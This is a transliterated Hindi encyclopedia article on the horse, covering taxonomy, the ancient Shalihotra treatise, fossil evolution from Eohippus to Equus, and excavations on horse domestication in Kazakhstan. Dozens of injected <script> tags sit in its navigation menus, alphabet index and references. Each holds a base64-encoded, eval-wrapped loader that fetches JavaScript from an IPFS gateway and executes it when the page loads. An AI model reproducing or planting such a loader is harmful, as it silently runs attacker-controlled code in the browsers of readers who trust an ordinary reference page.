घोड़े का इतिहास

भारत डिस्कवरी प्रस्तुति
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gho da vishay soochi
gho da   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> parichay   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> itihas   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sharirik visheshataean   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> vibhinn naslean   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> mahattvapoorn tathy
gho de ka itihas
jagat jiv-jantu
sangh k aaurdeta (Chordata)
varg memeliya (Mammalia)
gan artiodaktayala (Artiodactyla)
kul eekyoodi (Equidae)
jati eekvas (Equus)
prajati ee. pheras (E. ferus)
dvipad nam eekvas pheras (Equus ferus)
vishesh vivahotsav aur dharmik jaloosoan mean saje-dhaje gho doan ko dekhakar utsah ka sanchar ho jata hai. guru govind sianh jayanti, maharana pratap jayanti aur ramanavami ke shubh avasar par susajjit ashv bharatiy janamanas mean prachin gaurav ko jagrit kar viratv ko utpann karate haian.
any janakari hathi aur ooant ki bhaanti gho da bhi upayogi pashu hai. sanskrit mean ise 'ashv' aur aangrezi mean 'h aaurs' (Horse) kaha jata hai. gho da manushy se sanbandhit sansar ka sabase prachin palatoo stanaposhi prani hai, jisane ajnat kal se manushy ki kisi n kisi roop mean seva ki hai.

gho de ko palatoo banane ka vastavik itihas ajnat hai. kuchh logoan ka mat hai ki 7,000 varsh poorv dakshini roos ke pas aryoan ne pratham bar gho de ko pala. bahut se vijnanavettaoan aur lekhakoan ne isake ary itihas ko bilkul gupt rakha aur isake palatoo hone ka sthan dakshini poorvi eshiya mean kaha, parantu vastavikata yah hai ki anant kal poorv hamare ary poorvajoan ne hi gho de ko palatoo banaya, jo phir eshiya se yoorop, misr aur shanai: shanai: amarika adi deshoan mean phaila. sansar ke itihas mean gho de par likhi gee pratham pustak shalihotr hai, jise shalihotr rrishi ne mahabharat kal se bhi bahut samay poorv likha tha. kaha jata hai ki 'shalihotr' dvara ashv-chikitsa par likhit pratham pustak hone ke karan prachin bharat mean pashuchikitsa vijnan[1] ko 'shalihotr shastr' nam diya gaya. mahabharat yuddh ke samay raja nal aur paandavoan mean nakul ashv vidya ke prakaand pandit the aur unhoanne bhi shalihotr shastr par pustakean likhi thian. shalihotr ka varnan aj sansar ki ashv chikitsa vijnan par likhi gee pustakoan mean diya jata hai. bharat mean anishchit kal se deshi ashv chikitsak ko 'shalihotri' kaha jata hai.

shalihotr shastr ke anusar

shalihotr mean char darjan prakar ke gho de batae ge haian. is pustak mean gho doan ka vargikaran baloan ke avartoan ke anusar kiya gaya hai. isamean lanbe muanh aur bal, bhari nak, matha aur khur, lal jibh aur hoanth tatha chhote kan aur pooanchh vale gho doan ko uttam mana gaya hai. muanh ki lanbaee 2 aangul, kan 6 aangul tatha pooanchh 2 hath likhi gee hai. gho de ka pratham gun gati ka hona bataya hai. uchch vansh, rang aur shubh avartoan vale ashv mean bhi yadi gati nahian hai, to vah bekar hai. sharir ke aangoan ke anusar bhi gho doan ke nam tyand[2], trikarnin[3], dvikhurin[4], hinadant[5], hinaand[6], chakravartin[7], chakravak[8] adi die ge haian. gati ke anusar tushar, tejas, dhoomaketu, evan ta daj nam ke gho de batae haian. ukt pustak mean gho de ke sharir mean 12,000 shiraean bataee gee haian. bimariyaan tatha unaki chikitsa adi, anek vishayoan ka ullekh pustak mean kiya gaya hai, jo inake jnan aur ruchi ko prakat karata hai. isamean gho de ki ausat ayu 32 varsh bataee gee hai.

utpatti aur vikas

yadyapi gho de ki utpatti ke kafi praman prapt ho chuke hai aur usaka vikas ke poorn roop se kramabaddh avashesh amarika aur any deshoan mean prapt ho chuke haian, phir bhi bahut si gutthiyaan abhi tak nahian sulajh paee haian. kaha jata hai, gho de ke aur manushy ke pratham poorvajoan ka janm ek hi kal mean hua, arthath‌ donoan ki utpatti ek sath huee. 5,50,00,000 varsh poorv eeyosin ya adinootan yug ke aranbh mean eeyohippas evan hairaikothiriyam[9] namak pratham gho de ki utpatti huee. yah poorvaj lom di ke saman chhota tha, jisaki khop di alp vikasit thi, pair patale aur lanbe, agale pairoan mean char aanguliyaan, pichhale mean tin, daant 44 aur niche uparidant vale the, jo isake jangali jivan aur komal pattoan adi ke bhojan ke anukool the. is poorvaj ke ph aausil[10] uttari amarika, yoorop tatha eshiya mean prapt hue haian. tab se kramash: gho de ka vikas hota raha hai.

adinootan yug ke madhy ke aurohippas[11] aur aant ke epihippas[12] namak poorvajoan ke avashesh prapt hue haian. in sab poorvajoan ke daantoan mean pragati hoti rahi aur ve shakahari jivan ke liye anukool ho rahe the. epihippas ke kankal abhi tak nahian mil pae haian. at: hamare nishkarsh mean abhi nyoonata rah gee hai. thumb|250px|left|gho da phir 2,00,00,000 varsh ke bad auligosin[13] ya adinootan yug mean tin aanguliyoan vale mesohippas[14] gho de ki utpatti huee. isaki chauthi aanguli nasht ho chuki thi. yah akar mean adinootan yug ke gho doan se adhik b da to nahian tha, parantu isake sharir ke anek aangoan mean pragati ho gee thi. isake sir mean gho de ke saman muanh, aankhean tho di pichhe ko, evan mastishk tho da b da tha. isaki gardan chhoti, pith lanbi tatha taange patali lanbi aur tin aanguliyoan vali thian. chauthi aanguli ki ek chhoti si gaanth rah gee thi. daantoan mean bhi pragati ho chuki thi.

isi kal mean maiyohippas nam ke gho de ki bhi utpatti huee. yah mesohippas se pray: bilkul milata tha. isamean paanchavian aanguli ki chapati[15] mesohippas ki chapati se kafi chhoti thi aur isake kapoladant bhi adhik jatil ho ge the. maiyohippas ke karan gho de ke vikas ki kahani mean tho di jatilata huee hai. isi yug ke aiankitheriyam[16] namak gho de ke avashesh bhi prapt huee haian, jisake daantoan mean maiyohippas ke saman jatilata nahian thi. sanbhavat: yah maiyohippas poorvaj se janma aur yoorop, eshiya tatha amarika mean maiyosin[17] ya madhy nootan, kal tak jivit raha.

mesohippas ke sath megahippas[18]aur haipohippas[19] namak gho de bhi adinootan yug mean pae ge. isake 1,00,00,000 varsh bad, arthath‌ aj se 2,50,00,000 varsh poorv maiyosin[20] ya madhyanootan kal ke madhy aur aantim bhag mean marsihippas[21] namak poorvajoan ne janm liya. ye poorvaj shanai: shanai: vartaman yug ke gho de ke nikat a rahe the. inake daant ooanche uparidant jaise hote ge, taki ve apane maidani jivan aur vanaspatik bhojan ka upabhog kar sakean.

inake kapoladant bhi aj ke gho de ke saman ho ge the aur daantoan mean simeant[22] ki satah bhi utpann ho gee, jo isase pahale yugoan ke poorvajoan mean nahian thi. in poorvajoan mean sharir ki lanbaee badh gee thi. sir mean muanh, aankhean aur mastishk aj ke gho de jaise hi ho ge the. taangoan ki haddiyaan bhi parivartit ho gee thian. bahi:prakoshthika[23] se aant: prakoshthika[24] ju d gee thi aur bahirjadhika[25] ek patali patti ke saman rah gee thi. parantu abhi tak taangoan mean tin aanguliyaan baki thian, jinamean bich ki aanguli, jis par sharir ka bhar rahata tha, moti, b di, aur gho de ke saman khur vali thi. marsihippas sadharanat: aj ke tattoo ke saman pratit hota tha. atinootan ya playosin[26] yug mean aj se 1,00,00,000 varsh poorv marsihippas ne anek nee jatiyoan ko janm diya, jinamean se adhikatar jatiyaan yug ke aant tak lupt ho gee.

niyohipperiyan[27], hipperiyan[28], nainihippas[29], kailihippas[30] aur playohippas[31] is yug ke praanrabh se pray: aant tak vidyaman the. ye sab gho de uttari amarika mean mile. keval hipperiyan amarika, yoorop aur eshiya sab jagah prakat hua. playohippas aj ke gho de eekvas ka nikatatam poorvaj tha. yah is yug ka vah gho da tha jisamean donoan parshv aanguliyaan poornataya nasht ho gee thian aur sharir ke aang pray: eekvas ke saman ho ge the.

aj se 10,00,000 varsh poorv playastosin[32], arthath‌ pratinootan yug, mean aj ka gho da janma. astreliya ke atirikt aj ka gho da sansar ke sab deshoan mean is yug mean mila. is vikas kram mean iyohippas se lekar vartaman‌ gho de eekvas tak inaki akar vriddhi, taangoan ka lanba hona, baanee daeean aanguliyoan ka kramash: kam hona aur bich ki aanguli ka barabar badhate rahana mukhy hai. isake sath sath inaki pith barabar majaboot aur dridh hoti gee aur kriantak[33] daant barabar chau de hote ge. khop di gahari aur aankhoan ke age ka hissa lanba ho gaya. mastishk ke akar aur jatilata mean vriddhi hoti gee. is prakar ek chhote se prani se aj ke vishalakay aur dridh gho de ka vikas hua.

playosin ya atinootan yug ke nikhatak narmada ki ghati mean madhy bharat mean aur uttar mean sivalik ki chattanoan mean mile haian. inako eekvas namadrikas evan ee. sivalensis nam die ge. ye kandhe tak 5 phut ooanche hote the. aankhoan ke sthan se age khop di mean gaddha tha. ye aj ke gho de aur marsihippas ki bich ki sthiti prakat karate haian.

prophesar vool ka mat hai ki arabi gho de ki utpatti sivalik gho de se narmada gho de dvara huee, kyoanki marsihippas ke yug mean hi bharat ki sivalik paha diyoan mean hipperiyan ke avashesh prapt hue aur inhean hippothiriyam aiantilopiyam[34] nam diya gaya. bharat mean is par adhik khoj nahian huee hai. ye dirghakay, bhari gho de yooropiy, prachin yuddhashvoan ke vanshaj haian. inake pair ghane baloan se dhake hote haian.

kab banaya palatoo

kya gho da prachin kal se hi palatoo janavar tha ya use palatoo banae jane ki prakriya kabhi bad mean aranbh huee thi? puratatvavidoan ko kuchh aise praman mile haian ki kisi samay par gho da ek khooankhar janavar hota tha aur samooche yooreshiya kshetr mean maans ke lie usaka shikar kiya jata tha. kazakastan mean puratatvavid is khoj-kary mean lage hue haian ki gho de ko jangali janavar se palatoo janavar banane ki prakriya akhir kab aur kaise shuroo huee. desh ke uttar mean krasaniyar namak sthan par vaijnanik ab ye pata lagane ki koshish kar rahe haian ki purane samay mean in gho doan ki lagam kis had tak manushy ke hath mean thi. shodhakarttaoan ko is sthan par gho doan ki ridh ki haddiyaan, khop diyaan vagairah mili haian. ab puratatvavidoan ko is bat ka pata lagane ki avashyakata hai ki kya in janavaroan ko kisi any sthan par marakar unaki lashoan ko yahaan laya gaya tha.[35]

amarika ke karnegi myooziyam aauf naichural histari ki d aauktar saiandra aaulasen is sthal ki khudaee ki prabhari rahi haian. unaka kahana hai, "agar ap paidal chal rahe haian aur ap apane ghar se door ek jangali gho de ka shikar karake use mar dete haian, to ap ise poore ke poore ko ghasit kar ghar tak nahian la sakate". unhoanne bibisi varld sarvis ke diskavari program ko bataya ki- "ap pahale gho de ki lash ki chir-fa d kareange aur phir usake maans, cham de aur shayad auzar banane ke lie usaki haddiyoan ko uthakar ghar laeange". agar vaijnanikoan ko is bat ka praman mil jata hai ki gho doan ko isi sthal par lakar mara gaya tha, to yah unhean palatoo banae jane ki prakriya ki taraf ishara karega. baharahal, gho doan ko palatoo banae jane ki prakriya ke bare mean buhat hi kam janakari hasil ho saki hai aur yah pragaitihasik kal ke sabase vivadaspad pahaluoan mean se ek hai. yah prakriya kab aur kaise shuroo huee, yah janana atyant mahatvapoorn hai, kyoanki poore vishv par isaki gahari chhap p di hai.

lagabhag 5, 500 varsh poorv krasaniyar sthan par botaee sanskriti ke log rahate the. khudaee se is sthan par ek gaanv ke khake mean bane 160 ghar mile haian. is sthal par gho doan ki haddiyaan bikhari huee haian aur aise logoan ki qabrean mili haian jo samajha jata hai ki kuttoan aur gho doan ko palatoo janavaroan ke taur par rakhate the. briten ke eksetar vishvavidyalay ke shodhakartta is sthal par mile akachit bartanoan ke tuk doan ka vishleshan kar rahe haian. in bartanoan ke tuk doan mean gho di ke doodh ke aanshoan ki jaanch se vaijnanikoan ko asha hai ki ve gho doan ke ghareloo istemal ke bare mean mahatvapoorn surag khoj sakate haian. vaise vartaman samay par kazakastan mean gho di ke doodh ko khamir dekar koomis nam ki halki sharab banaee jati hai. is khudaee pariyojana ke ek pravakta ka kahana hai ki "agar yah bat sabit ho jati hai ki prachin kal mean gho di ka doodh nikal kar piya jata tha, to ham kafi nishchit roop se kah sakate haian ki us samay par gho doan ko palatoo janavaroan ke taur par rakha jata tha."


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

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tika tippani aur sandarbh

  1. ↑ Veterinary Science
  2. ↑ tin vrishan vala
  3. ↑ tin kan vala
  4. ↑ do khuravala
  5. ↑ bina daant vala
  6. ↑ bina vrishan vala
  7. ↑ kandhe par ek ya tin alak vala
  8. ↑ saphed pair aur aankhoan vala
  9. ↑ Hyracoatherium
  10. ↑ jivashm
  11. ↑ Orohippus
  12. ↑ Epihippus
  13. ↑ Oligocene
  14. ↑ Mesohippus
  15. ↑ splint
  16. ↑ Anchitherium
  17. ↑ Miocene
  18. ↑ Megahippus
  19. ↑ Hypohippus
  20. ↑ Miocene
  21. ↑ Mercyhippus
  22. ↑ cement
  23. ↑ radius
  24. ↑ ulna
  25. ↑ Fibula
  26. ↑ Pliocene
  27. ↑ Neohipparion
  28. ↑ Hipparion
  29. ↑ Nannihippus
  30. ↑ Calihippus
  31. ↑ Phiohippus
  32. ↑ pleistocene
  33. ↑ incisor
  34. ↑ Hippotherim antelopium
  35. ↑ gho doan ko lagam kab kasi gee (hiandi) bbc.com. abhigaman tithi: 11 janavari, 2018.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

sanbandhit lekh

gho da vishay soochi
gho da   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> parichay   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> itihas   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sharirik visheshataean   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> vibhinn naslean   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> mahattvapoorn tathy
  1. REDIRECT saancha:jiv jantu<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

varnamala kramanusar lekh khoj

a   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>a   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> i   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ee   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> u   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> oo   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> e   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ai   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> o   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>au   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aan   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> k   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>kh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> g   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> gh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ch   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> chh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> j   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d  <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> p   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ph   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh   